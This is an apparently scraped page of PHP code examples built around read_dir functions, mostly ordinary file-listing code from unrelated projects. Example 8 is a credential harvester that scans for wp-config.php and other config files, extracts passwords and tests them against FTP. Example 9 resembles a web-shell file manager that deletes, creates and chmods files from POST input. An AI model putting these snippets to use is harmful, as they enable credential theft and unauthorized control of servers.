Ejemplo n.º 1
0
 function read_dir($dir)
 {
     if ($OpenDir = opendir($dir)) {
         while (($file = readdir($OpenDir)) !== false) {
             if ($file != "." && $file != "..") {
                 if (is_dir($dir . "/" . $file)) {
                     if (!is_readable($dir . "/" . $file)) {
                         error("нет прав для чтения текущий папки", $dir . "/" . $file);
                     } elseif (!is_writeable($dir . "/" . $file)) {
                         error("нет прав для записи в текущую папку", $dir . "/" . $file);
                     } else {
                         read_dir($dir . "/" . $file);
                     }
                 } else {
                     if (!is_readable($dir . "/" . $file)) {
                         error("нет прав для чтения файла", $dir . "/" . $file);
                     } elseif (!is_writeable($dir . "/" . $file)) {
                         error("нет прав для записи в файл", $dir . "/" . $file);
                     }
                 }
             }
         }
     } else {
         error("нет прав", $dir);
     }
 }
Ejemplo n.º 2
0
 function get_all_messages()
 {
     // чтение списка файлов
     $files = read_dir($this->data_dir);
     if (count($files) == 0) {
         return NULL;
     }
     // сортировка
     rsort($files);
     // список всех сообщений
     $result = NULL;
     // цикл считывания сообшщений из файлов
     for ($file_idx = 0; $file_idx < count($files); ++$file_idx) {
         $file = get_file($this->data_dir . "/" . $files[$file_idx]);
         $item_res = explode($this->answ_separator, $file);
         $item_res = explode($this->item_separator, $item_res[0]);
         $result[$file_idx]["id"] = $files[$file_idx];
         $result[$file_idx]["name"] = $item_res[0];
         $result[$file_idx]["email"] = $item_res[1];
         $result[$file_idx]["url"] = $item_res[2];
         $result[$file_idx]["time"] = $item_res[3];
         $result[$file_idx]["ip"] = $item_res[4];
         $result[$file_idx]["text"] = $item_res[5];
     }
     return $result;
 }
Ejemplo n.º 3
0
function read_dir($dir, &$dir_array, $root, &$html_lines)
{
    global $link_array, $hot_array, $pop_array, $new_tools;
    global $menu_name;
    global $popular_access_dict;
    $dir_list = get_valid_dir($dir);
    if ($root == false && count($dir_list) != 0) {
        array_push($html_lines, "<ul>");
    }
    foreach ($dir_list as $dir2) {
        $path = $dir . "/" . $dir2;
        if (!checkShow($path)) {
            continue;
        }
        $dir_list2 = get_valid_dir($path);
        if (count($dir_list2) == 0) {
            $show_name = get_item_name($path);
            array_push($html_lines, "<li><a href='' name='{$path}'><span class='item'>" . $show_name . "</span></a>");
            $cnt = 0;
            $tip_str = "";
            if (array_key_exists($path, $popular_access_dict["hot"])) {
                $cnt = $popular_access_dict["hot"][$path];
                $tip_str = "点击次数:{$cnt}";
                $show_name = "{$show_name}({$cnt})";
                array_push($link_array[$menu_name], "<a class='btn btn-danger btn-xs' title='hot({$tip_str})' href='{$path}'>{$show_name}</a>");
                array_push($hot_array, "<a class='btn btn-danger btn-xs' title='hot({$tip_str})' href='{$path}'>{$show_name}</a> ");
            } elseif (array_key_exists($path, $popular_access_dict["good"])) {
                $cnt = $popular_access_dict["good"][$path];
                $tip_str = "点击次数:{$cnt}";
                $show_name = "{$show_name}({$cnt})";
                array_push($link_array[$menu_name], "<a class='btn btn-success btn-xs' title='popular({$tip_str})' href='{$path}'>{$show_name}</a>");
                array_push($pop_array, "<a class='btn btn-success btn-xs' title='popular({$tip_str})' href='{$path}'>{$show_name}</a> ");
            } else {
                if (array_key_exists($path, $popular_access_dict["all"])) {
                    $cnt = $popular_access_dict["all"][$path];
                }
                $tip_str = "点击次数:{$cnt}";
                $show_name = "{$show_name}({$cnt})";
                array_push($link_array[$menu_name], "<a class='btn btn-link btn-xs' href='{$path}' title='{$tip_str}'>{$show_name}</a>");
            }
            $filetime = @filectime($path . "/index.html");
            if (file_exists($path . "/index.php")) {
                $filetime = @filectime($path . "/index.php");
            }
            $mtime = date("F d Y H:i:s.", $filetime);
            $new_tools[$filetime] = "<a class='btn btn-info btn-xs' title='hot({$tip_str}, {$mtime})' href='{$path}'>{$show_name}</a> ";
        } else {
            array_push($html_lines, "<li><a href='' class='parent' name='{$path}'><span class='item'>" . get_item_name($path) . "</span></a>");
        }
        $dir_array[$dir2] = array();
        read_dir($path, $dir_array[$dir2], false, $html_lines);
        array_push($html_lines, "</li>");
    }
    if ($root == false && count($dir_list) != 0) {
        array_push($html_lines, "</ul>");
    }
}
Ejemplo n.º 4
0
function ls($arg = 'all')
{
    global $src_dir;
    global $src_url;
    if ($arg != 'all') {
        if (eregi("[1-9]+[0-9]*", $arg)) {
            $number_of_releases = $arg;
        } elseif (substr($arg, 0, 1) == '.') {
            $allowed_extention = $arg;
        }
    }
    $src_array = read_dir($src_dir);
    for ($i = 0; $i < sizeof($src_array); $i++) {
        $_ = explode('.', $src_array[$i]);
        $src_unique[$_[0]] .= $src_array[$i] . "\n";
    }
    $release = array_keys($src_unique);
    if (!isset($number_of_releases)) {
        $number_of_releases = sizeof($release);
    }
    for ($i = 0; $i < $number_of_releases; $i++) {
        $_ = trim($src_unique[$release[$i]]);
        $file = explode("\n", $_);
        for ($j = 0; $j < sizeof($file); $j++) {
            $offset = strlen($release[$i]) - strlen($file[$j]);
            $ext = substr($file[$j], $offset);
            if ($ext == '.xml') {
                // release changes >>
                $changes = trim(get_tag(read_file($src_dir . $file[$j]), 'changes'));
            } else {
                // downloadable files >>
                if (isset($allowed_extention)) {
                    if ($ext == $allowed_extention) {
                        $link[] = '<a href="/get/' . $file[$j] . '">' . $file[$j] . '</a>';
                    }
                } else {
                    $link[] = '<a href="/get/' . $file[$j] . '">' . $file[$j] . '</a>';
                }
            }
        }
        if (sizeof($link) > 0) {
            sort($link);
            reset($link);
            if ($changes != '') {
                $changes = "<p>Changes:</p>\n" . $changes . "\n";
            }
            $ls[] = "<p><strong>" . $release[$i] . "</strong></p>\n" . $changes . "<p>Download:</p>\n<ul>\n<li>" . implode("<br></li>\n<li>", $link) . "<br></li>\n</ul>\n";
        }
        unset($changes);
        unset($link);
    }
    if (sizeof($ls) > 0) {
        $out = "<!-- downloadable files >> -->\n" . implode('', $ls) . "<!-- downloadable files << -->\n";
    }
    return $out;
}
Ejemplo n.º 5
0
 public function run()
 {
     $faker = Faker::create();
     $count = 50;
     $ids = Estate::lists('estate_id');
     $images = read_dir(dir_path('estates'));
     $images = array_values(array_diff($images, ['alien.png']));
     for ($i = 0; $i < $count; $i++) {
         Image::create(['image' => $images[$i], 'estate_id' => $faker->randomElement($ids), 'preview' => $faker->boolean(30)]);
     }
 }
Ejemplo n.º 6
0
function plug_backup_msql()
{
    require 'plug/tar.php';
    $f = 'plug/_data/msql_backup_' . date('ymd', time()) . '.tar.gz';
    //unlink($f);
    $r = read_dir('msql');
    //p($r);
    if (auth(6)) {
        tar($f, $r);
    }
    if (is_file($f)) {
        return lkt('txtyl', $f, $f);
    } else {
        return 'brrrr';
    }
}
Ejemplo n.º 7
0
function read_dir($dir)
{
    $array = array();
    $d = dir($dir);
    while (false !== ($entry = $d->read())) {
        if ($entry != '.' && $entry != '..') {
            $entry = $entry;
            if (is_dir($entry)) {
                //$array[] = $entry;
                $array = array_merge($array, read_dir($entry));
            } else {
                $array[] = $entry;
            }
        }
    }
    $d->close();
    return $array;
}
Ejemplo n.º 8
0
function read_dir($path, $username)
{
    if ($handle = opendir($path)) {
        while (false !== ($file = readdir($handle))) {
            $fpath = "{$path}{$file}";
            if ($file != '.' and $file != '..') {
                if (is_readable($fpath)) {
                    $dr = "{$fpath}/";
                    if (is_dir($dr)) {
                        read_dir($dr, $username);
                    } else {
                        if ($file == 'config.php' or $file == 'config.inc.php' or $file == 'db.inc.php' or $file == 'connect.php' or $file == 'wp-config.php' or $file == 'var.php' or $file == 'configure.php' or $file == 'db.php' or $file == 'db_connect.php') {
                            $pass = get_pass($fpath);
                            if ($pass != '') {
                                echo "[+] {$fpath}\n{$pass}\n";
                                ftp_check($username, $pass);
                            }
                        }
                    }
                }
            }
        }
    }
}
Ejemplo n.º 9
0
function list_dir($d)
{
    global $HTTP_REFERER;
    if (isset($_POST['b_up']) or isset($_POST['b_open_dir'])) {
        chdir($_POST['fname']);
        $d = getcwd();
    } else {
        $d = getcwd();
    }
    if ($_POST['b_new_dir']) {
        mkdir($_POST['new']);
        chmod($_POST['new'], 0777);
        $d = $_POST['new'];
    }
    if ($_POST['b_del'] and is_dir($_POST['fname'])) {
        rmdir($_POST['fname']);
        chdir($_POST['dname']);
        $d = getcwd();
    }
    if ($_POST['b_del'] and !is_dir($_POST['fname'])) {
        unlink($_POST['fname']);
        chdir($_POST['dname']);
        $d = getcwd();
    }
    if ($_POST['b_change_dir']) {
        chdir($_POST['change_dir']);
        $d = getcwd();
    }
    if ($_POST['b_new_file'] or $_POST['b_open_file']) {
        chdir($_POST['dname']);
        $d = getcwd();
    }
    $dir = read_dir($d);
    $dir = sortbyname($dir, $d);
    $count = count($dir);
    echo "<form action=\"" . $HTTP_REFERER . "\" method=\"POST\" enctype=\"multipart/form-data\">";
    echo "<input type=\"hidden\" value='" . $r_act . "' name=\"r_act\">";
    echo "<table BORDER=1 align=center>";
    echo "<tr bgcolor=#ffff00><td alling=\"center\"><b>Navigation</b></td></tr>";
    if (is_writable($d)) {
        echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"{$d}\" name=\"new\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewDir\" name=\"b_new_dir\"></td>";
        echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewFile\" name=\"b_new_file\"></td></tr>";
    }
    echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"{$d}\" name=\"change_dir\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"ChangeDir\" name=\"b_change_dir\"></td></tr>";
    if (!$safe_mode) {
        echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"\" name=\"ffile\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"FindeFile\" name=\"b_f_file\"></td></tr>";
    }
    echo "</table></form>";
    echo "<table CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>";
    echo "<tr bgcolor=#ffff00><td><b>&nbsp;&nbsp;&nbsp;Directory&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Permission&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Size&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Owner/Group&nbsp;&nbsp;&nbsp;</b></td><td alling=\"center\"><b>&nbsp;&nbsp;&nbsp;Action&nbsp;&nbsp;&nbsp;</b></td>";
    for ($i = 0; $i < $count; $i++) {
        if ($dir[$i] != "") {
            $full = $d . "/" . $dir[$i];
            $perm = permissions(fileperms($full), $dir[$i]);
            $file = $d . "/" . $dir[$i];
            echo "<form action=\"" . $HTTP_REFERER . "\" method=\"POST\" enctype=\"multipart/form-data\">";
            if (is_dir($file)) {
                echo "<tr bgcolor=#98FA00><td>" . $dir[$i] . "&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">" . filesize($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;" . fileowner($dir[$i]) . "&nbsp;&nbsp;&nbsp;" . filegroup($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td>";
            } elseif (is_file($file)) {
                echo "<tr><td>" . $dir[$i] . "&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">" . filesize($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;" . fileowner($dir[$i]) . "&nbsp;&nbsp;&nbsp;" . filegroup($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td>";
            } else {
                echo "<tr bgcolor=#ffff00><td>" . $dir[$i] . "&nbsp;&nbsp;&nbsp;</td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">" . filesize($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td><td alling=\"center\">&nbsp;&nbsp;&nbsp;" . fileowner($dir[$i]) . "&nbsp;&nbsp;&nbsp;" . filegroup($dir[$i]) . "&nbsp;&nbsp;&nbsp;</td>";
            }
            if (is_dir($file)) {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Listing\" name=\"b_open_dir\"></td>";
            } elseif (is_readable($file)) {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Open\" name=\"b_open_file\"></td>";
            }
            if (is_writable($file) and $file != "..") {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Delete\" name=\"b_del\"></td>";
            }
            if (is_readable($file) and !is_dir($file)) {
                echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Download\" name=\"b_down\"></td>";
            }
            echo "<input type=\"hidden\" value='" . $r_act . "' name=\"r_act\"></tr>";
            echo "</form>";
        }
    }
    echo "</table>";
    closedir($d);
}
Ejemplo n.º 10
0
    $filePath = '';
}
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'POST') {
    $newsfile = $_POST['file_edit'];
    $n = fopen($newsfile, 'w');
    if (get_magic_quotes_gpc()) {
        $res = fwrite($n, stripslashes($_POST[$reqType]));
    } else {
        $res = fwrite($n, $_POST[$reqType]);
    }
    $res = fclose($n);
}
// @author giorgio 08/mag/2013
// this must be here to list newly created files possibly generated
// when handling $_POST datas.
$files_news = read_dir(ROOT_DIR . $filePath . '/docs/' . $reqType, 'txt');
//print_r($files_news);
$codeLang = isset($_GET['codeLang']) ? $_GET['codeLang'] : null;
if (!isset($op)) {
    $op = null;
}
switch ($op) {
    case 'edit':
        $newsmsg = array();
        // @author giorgio 08/mag/2013
        // builds something like docs/news/news_it.txt
        $fileToOpen = ROOT_DIR . $filePath . '/docs/' . $reqType . '/' . $reqType . '_' . $codeLang . '.txt';
        $newsfile = $fileToOpen;
        if ($fid = @fopen($newsfile, 'r')) {
            if (!isset($newsmsg[$reqType])) {
                $newsmsg[$reqType] = '';
Ejemplo n.º 11
0
define('API_DIR', '/Users/featherless/Sites/three20/api/');
define('API_SEARCH_DIR', API_DIR . 'search/');
function read_dir($dir)
{
    $filenames = array();
    $directory = opendir($dir);
    while ($filename = readdir($directory)) {
        if ($filename[0] != '.') {
            $filenames[] = $filename;
        }
    }
    closedir($directory);
    return $filenames;
}
$searchFilenames = read_dir(API_SEARCH_DIR);
// Now that we have all of the search index files, let's split them apart by index type.
$indexFilenames = array();
foreach ($searchFilenames as $filename) {
    $info = pathinfo($filename);
    if ($info['extension'] == 'html') {
        $underscorePosition = strpos($filename, '_');
        if ($underscorePosition !== FALSE) {
            $index = substr($filename, 0, $underscorePosition);
            if (empty($indexFilenames[$index])) {
                $indexFilenames[$index] = array();
            }
            $indexFilenames[$index][] = $filename;
        }
    }
}
Ejemplo n.º 12
0
/**
 * Função para leitura de diretórios
 * 
 * @since IS Simple 1.0
 * ============================================================================
 */
function issimple_readdir($dir, $type = FALSE)
{
    $files = array();
    $ds = DIRECTORY_SEPARATOR;
    // Se não existir o diretório...
    if (!is_dir($dir)) {
        return false;
    }
    // Abrindo diretório...
    $odir = @opendir($dir);
    // Se falhar ao abrir o diretório...
    if (!$odir) {
        return false;
    }
    // Construindo o array de arquivos...
    while (($file = readdir($odir)) !== false) {
        // Ignora os resultados "." e ".." ...
        if ($file == '.' || $file == '..') {
            continue;
        }
        $slug = explode('.', $file);
        $ext = count($slug) == 1 ? 'dir' : end($slug);
        // Extensão do arquivo
        $path = count($slug) == 1 ? $dir . $file . $ds : $dir . $file;
        // Caminho do arquivo
        $slug = str_replace('.' . $ext, '', $file);
        // Nome do arquivo
        if (is_dir($path)) {
            $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path, 'files' => read_dir($path, $type));
            continue;
        }
        // Pegar todos os arquivos
        if (empty($type)) {
            $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
            continue;
        }
        // Pegar apenas os diretórios
        if ($type === 1) {
            if (is_dir($path)) {
                $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path, 'files' => read_dir($dir, $type));
            }
            continue;
        }
        // Se $type for um array
        if (is_array($type)) {
            if (in_array($ext, $type)) {
                $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
            }
            continue;
        }
        // Se $type for uma string
        if ($ext == $type) {
            $files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
            continue;
        }
    }
    // Fechando diretório...
    closedir($odir);
    return $files;
}
Ejemplo n.º 13
0
if (!isset($config_ban_attempts)) {
    $config_ban_attempts = 3;
}
// adjust timezone
if (function_exists('date_default_timezone_set')) {
    date_default_timezone_set(empty($config_timezone) ? 'Europe/London' : $config_timezone);
}
// embedded code no send codes
if (empty($NotHeaders) && $config_useutf8 == '1') {
    header('Content-Type: text/html; charset=UTF-8', true);
    header('Accept-Charset: UTF-8', true);
}
// loading plugins
$_HOOKS = array();
if (is_dir(SERVDIR . '/cdata/plugins')) {
    foreach (read_dir(SERVDIR . '/cdata/plugins', array(), false) as $plugin) {
        if (preg_match('~\\.php$~i', $plugin)) {
            include SERVDIR . $plugin;
        }
    }
}
// load config
if (file_exists(SERVDIR . CACHE . '/conf.php')) {
    $cfg = unserialize(str_replace("<?php die(); ?>\n", '', implode('', file(SERVDIR . CACHE . '/conf.php'))));
} else {
    $cfg = array();
}
// initialize mod_rewrite if present
if ($config_use_replacement && file_exists(SERVDIR . '/cdata/conf_rw.php')) {
    include SERVDIR . '/cdata/conf_rw.php';
} else {
Ejemplo n.º 14
0
/**
* 递归读取目录下所有文件(含目录全路径)自动过滤.和..
* <code>
* print_r(read_dir(APP_PATH));
* </code>
* @param array $dir 需要读取的目录路径
* @param array $clean 是否清除上次读取,默认true,此参数系统内部调用,无需修改
* @return bool/array 成功返回目录下所有文件一维数组,失败返回false
*/
function read_dir($dir, $clean = true)
{
    static $dirArr = array();
    if ($clean) {
        $dirArr = array();
    }
    $dir = trim($dir);
    if (!is_dir($dir)) {
        return false;
    }
    //补全后面的/
    if (substr($dir, -1) != '/') {
        $dir .= '/';
    }
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            if ('.' == $file || '..' == $file) {
                continue;
            }
            if (is_file($dir . $file)) {
                $dirArr[] = $dir . $file;
            } else {
                read_dir($dir . $file . '/', false);
            }
        }
        closedir($dh);
    }
    return $dirArr;
}
Ejemplo n.º 15
0
 function form_addcourse($file_action, $file_back, $authors_ha, $is_author = 0)
 {
     $root_dir = $GLOBALS['root_dir'];
     // inizializzazione variabili
     $str = "";
     // nome
     $fields["add"][] = "course[nome]";
     $names["add"][] = "Nome";
     $edittypes["add"][] = "text";
     $necessary["add"][] = "true";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = 32;
     // titolo
     $fields["add"][] = "course[titolo]";
     $names["add"][] = "Titolo";
     $edittypes["add"][] = "text";
     $necessary["add"][] = "true";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = 128;
     // autore
     if ($is_author) {
         $fields["add"][] = "course[id_autore]";
         $names["add"][] = "Autore";
         $edittypes["add"][] = "hidden";
         $necessary["add"][] = "true";
         $values["add"][] = $authors_ha[0][0];
         $options["add"][] = "";
         $maxsize["add"][] = "";
     } else {
         $labels_sel = "";
         $val_sel = "";
         $max = count($authors_ha);
         for ($i = 0; $i < $max; $i++) {
             $labels_sel .= ":" . $authors_ha[$i][1] . " " . $authors_ha[$i][2] . " ";
             if ($i != $max - 1) {
                 $val_sel .= $authors_ha[$i][0] . ":";
             } else {
                 $val_sel .= $authors_ha[$i][0];
             }
         }
         $fields["add"][] = "course[id_autore]";
         $names["add"][] = "Autore {$labels_sel}";
         $edittypes["add"][] = "select";
         $necessary["add"][] = "true";
         $values["add"][] = "";
         $options["add"][] = "{$val_sel}";
         $maxsize["add"][] = "";
     }
     // descrizione
     $fields["add"][] = "course[descr]";
     $names["add"][] = "descrizione";
     $edittypes["add"][] = "textarea";
     $necessary["add"][] = "";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = "";
     // data creazione
     if ($is_author) {
         $gma = today_dateFN();
         $fields["add"][] = "course[d_create]";
         $names["add"][] = "data creazione (GG/MM/AAAA)";
         $edittypes["add"][] = "hidden";
         $necessary["add"][] = "";
         $values["add"][] = $gma;
         $options["add"][] = "";
         $maxsize["add"][] = 12;
     } else {
         $fields["add"][] = "course[d_create]";
         $names["add"][] = "data creazione (GG/MM/AAAA)";
         $edittypes["add"][] = "text";
         $necessary["add"][] = "";
         $values["add"][] = "";
         $options["add"][] = "";
         $maxsize["add"][] = 12;
     }
     // data pubblicazione
     if (!$is_author) {
         $fields["add"][] = "course[d_publish]";
         $names["add"][] = "data pubblicazione";
         $edittypes["add"][] = "text";
         $necessary["add"][] = "";
         $values["add"][] = "";
         $options["add"][] = "";
         $maxsize["add"][] = 12;
     }
     // media path
     $fields["add"][] = "course[media_path]";
     $names["add"][] = "media path";
     $edittypes["add"][] = "text";
     $necessary["add"][] = "";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = 50;
     $temp_dir_base = $root_dir . "/layout/";
     $layout_OK = dirTree($temp_dir_base);
     $val_sel = "";
     $max = count($layout_OK);
     for ($i = 0; $i < $max; $i++) {
         //if (($layout_OK[$i]!='.') && ($layout_OK[$i]!='..'))
         if ($i != $max - 1) {
             $val_sel .= $layout_OK[$i] . ":";
         } else {
             $val_sel .= $layout_OK[$i];
         }
     }
     // $layout_OK [] = "";
     $fields["add"][] = "course[layout]";
     $names["add"][] = "Layout: {$val_sel}";
     $edittypes["add"][] = "select";
     $necessary["add"][] = "";
     $values["add"][] = $course['layout'];
     $options["add"][] = $val_sel;
     $maxsize["add"][] = 20;
     // id_nodo_toc
     $fields["add"][] = "course[id_nodo_toc]";
     $names["add"][] = "id_nodo_toc";
     $edittypes["add"][] = "text";
     $necessary["add"][] = "";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = "";
     // id_nodo_iniziale
     $fields["add"][] = "course[id_nodo_iniziale]";
     $names["add"][] = "id_nodo_iniziale";
     $edittypes["add"][] = "text";
     $necessary["add"][] = "";
     $values["add"][] = "";
     $options["add"][] = "";
     $maxsize["add"][] = "";
     // file XML possibili
     // vito, 15 giugno 2009
     $message = "";
     if ($is_author && (int) $_GET['modello'] == 1) {
         $course_models = read_dir(AUTHOR_COURSE_PATH_DEFAULT, 'xml');
         /*
          * vito, 30 mar 2009
          * Decomment the following lines (those after the comment SEARCH INTO AUTHOR'S UPLOAD DIR)
          * to enable searching for course models into author's
          * upload dir in addition to those stored into AUTHOR_COURSE_PATH_DEFAULT dir.
          *
          * It is necessary to handle this change in admin/author_course_xml_to_db_process.php:
          * now it builds the root dir relative position for the given xml file by prefixing it
          * with AUTHOR_COURSE_PATH_DEFAULT. If we allow searching into the author's upload dir
          * we have to avoid adding this prefix because the filename will be already a root dir
          * relative filename.
          *
          * If an author wants to create a new course based on an existing course model,
          * show him the course models in the course model repository, (common to all authors) and
          * the ones he has uploaded, stored in UPLOAD_PATH/<authorid>.
          * Otherwise, if an admin wants to create a course from an existing model, show him only the
          * course models stored in the course model repository.
          */
         // SEARCH INTO AUTHOR'S UPLOAD DIR
         //        if (!is_array($course_models)) {
         //          $course_models = array();
         //        }
         //        if ($is_author) {
         //	      $authors_uploaded_files = UPLOAD_PATH.$authors_ha[0][0];
         //	      $authors_course_models  = read_dir($authors_uploaded_files, 'xml');
         //	      $course_models = array_merge($course_models, $authors_course_models);
         //        }
         $num_files = 0;
         if (is_array($course_models)) {
             $num_files = sizeof($course_models);
         }
         $val_sel = '';
         $label_sel = '';
         if ($num_files > 0) {
             foreach ($course_models as $value) {
                 //vito, 30 mar 2009
                 // SEARCH INTO AUTHOR'S UPLOAD DIR
                 //$val_sel.=$value['path_to_file'].":";
                 $val_sel .= $value['file'] . ":";
                 $label_sel .= ":" . $value['file'];
             }
             $val_sel = substr($val_sel, 0, -1);
             // vito, 12 giugno 2009
             //}
             //if ($is_author AND ((int)$_GET['modello'])==1) {
             $fields["add"][] = "course[xml]";
             $names["add"][] = "XML" . $label_sel;
             $edittypes["add"][] = "select";
             $necessary["add"][] = "";
             $values["add"][] = "";
             $options["add"][] = $val_sel;
             $maxsize["add"][] = "";
             //}
         } else {
             $message = translateFN("Non sono presenti modelli di corso. E' comunque possibile creare un corso vuoto.");
         }
     }
     // creazione del form
     $str = MakeForm($fields, $names, $edittypes, $necessary, $values, $options, $maxsize, $file_action, "add", false, true);
     // scrittura stringa back
     //  $str .= $this->go_file_back($file_back,"Home");
     return $message . $str;
 }
Ejemplo n.º 16
0
<?php

$sc_dir = ADMINROOT . 'scripts/';
$script_log_file = ADMINROOT . 'scripts/log.php';
$msg = '';
if (!file_exists($script_log_file)) {
    file_put_contents($script_log_file, '<?php
$scripts_log = array(
);
?>');
}
$files = read_dir($sc_dir);
if (is_int(array_search('log', $files))) {
    unset($files[array_search('log', $files)]);
}
if (isset($_GET['run'])) {
    include $sc_dir . $_GET['run'] . '.php';
    write_script_log($_GET['run']);
    header('Location: /' . System::$conf->sysadmin_base_url . '/scripts?n=' . urlencode('Script <strong>' . $_GET['run'] . '</strong> ran'));
    exit;
}
include $script_log_file;
?>
<h2>Run scripts</h2>
<?php 
if ($files) {
    ?>
<ul>
<?php 
    foreach ($files as $file) {
        $name = pathinfo($file, PATHINFO_FILENAME);
Ejemplo n.º 17
0
function read_dir($dir = 'D:\\EasyPHP-DevServer-14.1VC11\\data\\localweb\\projects\\villa\\public\\img\\photos')
{
    $result = [];
    if (!file_exists($dir)) {
        echo "<span style='color: red'>ERROR: no \"{$dir}\" directory found!</span></br>";
        return;
    }
    $files = scandir($dir);
    foreach ($files as $key => $value) {
        if (!in_array($value, array(".", ".."))) {
            if (is_dir($dir . DIRECTORY_SEPARATOR . $value)) {
                $result[$value] = read_dir($dir . DIRECTORY_SEPARATOR . $value);
            } else {
                $result[] = iconv('Windows-1251', "UTF-8", $value);
            }
        }
    }
    return $result;
}
Ejemplo n.º 18
0
// set global variables >>
// $base_dir = $DOCUMENT_ROOT . '/';
$base_dir = '/home/groups/t/tu/tut-framework/htdocs/';
$base_url = '/';
$img_dir = $base_dir . '_img/';
$img_url = $base_url . '_img/';
$src_dir = $base_dir . '_src/';
$src_url = $base_url . '_src/';
$var_dir = $base_dir . '_var/';
$var_url = $base_url . '_var/';
// set absolute paths >>
$etc = $base_dir . '_etc/';
$lib = $base_dir . '_lib/';
$xml = $base_dir . '_xml/';
// load all functions >>
$lib_array = read_dir($lib);
for ($i = 0; $i < sizeof($lib_array); $i++) {
    include $lib . $lib_array[$i];
}
// load configuration >>
include $etc . 'config.php';
// parse requested URI >>
$request_length = strlen($uri) - strlen($base_url);
$uri = substr($uri, 0 - $request_length, $request_length);
$request = explode('/', $uri);
$chapter = strtolower($request[0]);
$query = $request[1];
if ($chapter == '') {
    // we are at home >>
    $target = $xml . 'index.xml';
    $home = $project_name;
Ejemplo n.º 19
0
 if ($action == "backup") {
     if (is_writeable(DATADIR . "databackup")) {
         echo 'Выберите директории для архивации<br /><br />';
         $backdir_array = array();
         $globdirs = glob(DATADIR . "*", GLOB_ONLYDIR);
         foreach ($globdirs as $dirs) {
             if ($dirs != DATADIR . 'databackup' && $dirs != DATADIR . 'datatmp' && $dirs != DATADIR . 'datados') {
                 $backdir_array[] = $dirs;
             }
         }
         sort($backdir_array);
         echo '<form method="post" action="backup.php?action=newbackup&amp;' . SID . '">';
         echo '<input name="files" value="1" type="checkbox" checked="checked" /> <img src="../images/img/adddir.gif" alt="image" /> <b>Главные файлы</b><br />';
         foreach ($backdir_array as $value) {
             echo '<input name="dirarc[]" value="' . $value . '" type="checkbox" checked="checked" /> ';
             echo '<img src="../images/img/dir.gif" alt="image" /> <b>' . basename($value) . '</b> (' . formatsize(read_dir(DATADIR . $value)) . ')<br />';
         }
         echo '<br /><input type="submit" value="Сделать бекап" /></form><hr />';
     } else {
         echo '<b>Ошибка! Запрещена запись в папку databackup</b><br />';
     }
     echo '<br /><img src="../images/img/back.gif" alt="image" /> <a href="backup.php?' . SID . '">Вернуться</a>';
 }
 ############################################################################################
 ##                                    Создание бэкапа                                     ##
 ############################################################################################
 if ($action == "newbackup") {
     if (isset($_POST['files'])) {
         $files = 1;
     } else {
         $files = 0;
Ejemplo n.º 20
0
         if (isset($_GET['deletedir'])) {
             // the check if the file can be deleted is done before - if it is not possible we never get here!
             $status = delete_folder($dir, $enable_folder_deletion, $fix_utf8);
         }
     }
 }
 // needed for browsing - we check if a [..] is possible - it is never allowed to go higher as the defined root!
 $show_root = isset($_SESSION["TFU_ROOT_DIR"]) ? $dir != $_SESSION["TFU_ROOT_DIR"] : false;
 if (isset($_GET['changedir'])) {
     // Change a directory
     $dir = change_folder($dir, $show_root, $enable_folder_browsing, $exclude_directories);
 }
 // needed for browsing - we check again because folder could have changed!
 $show_root = isset($_SESSION["TFU_ROOT_DIR"]) ? $dir != $_SESSION["TFU_ROOT_DIR"] : false;
 // Read all files and folders
 $size = read_dir($dir, $myFiles, $myDirs, $fix_utf8, $exclude_directories, $sort_files_by_date);
 // Sort files and folders
 sort_data($myFiles, $myDirs, $sort_files_by_date);
 if ($show_root) {
